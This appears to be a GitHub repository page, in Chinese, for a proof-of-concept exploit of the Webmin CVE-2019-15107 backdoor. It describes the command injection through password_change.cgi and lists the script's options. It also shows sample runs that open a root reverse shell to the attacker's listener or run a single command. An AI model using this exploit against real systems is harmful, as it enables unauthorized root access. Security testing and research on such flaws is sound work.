adampawelczyk/cve-2019-15107
GitHub: adampawelczyk/cve-2019-15107
这是一个针对 Webmin 特定版本中 CVE-2019-15107 漏洞的概念验证利用脚本,旨在执行未认证的远程代码。
Stars: 0 | Forks: 0
# CVE-2019-15107 - Webmin 未认证 RCE
## 描述
此仓库包含针对 CVE-2019-15107 的概念验证利用代码,影响 Webmin 1.890 至 1.920 版本。
该脚本利用了 1.890 至 1.920 版本中的后门,允许未认证用户通过 `old`(在 1.890 版本中为 `expired`)参数将命令注入到 `password_change.cgi` 端点。只有 SourceForge 的下载包带有后门,但它们被列为项目官网上的官方下载。
未知攻击者曾两次在构建服务器的源代码中插入 Perl `qx` 语句:一次是在 2018 年 4 月,在 1.890 版本中引入了该后门;另一次是在 2018 年 7 月,在 1.900 至 1.920 版本中重新引入了该后门。
在默认安装情况下,只有 1.890 版本可被利用。受影响的后续版本需要启用过期密码更改功能。
## 测试环境
该利用代码已在以下环境中成功测试:
- Webmin 版本:1.890
- 操作系统:Ubuntu 18.04.4 LTS
## 用法
```
python3 cve-2019-15107.py -r -l [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
```
## 示例
```
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
```
```
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
```
## 参考资料
- https://nvd.nist.gov/vuln/detail/CVE-2019-15107
- https://webmin.com/security/
- https://www.exploit-db.com/exploits/47230
## 免责声明
此工具仅用于教育和授权测试目的。未经授权对您不拥有或无权测试的系统进行使用是非法的。请负责任地使用。
标签:0day, CISA项目, CVE-2019-15107, Exploit, password_change.cgi, Proof of Concept, Python, Reverse Shell, Webmin, Web安全, XXE攻击, 后门, 后门植入, 命令注入, 无后门, 未认证RCE, 源码污染, 编程工具, 蓝队分析, 远程代码执行, 逆向工具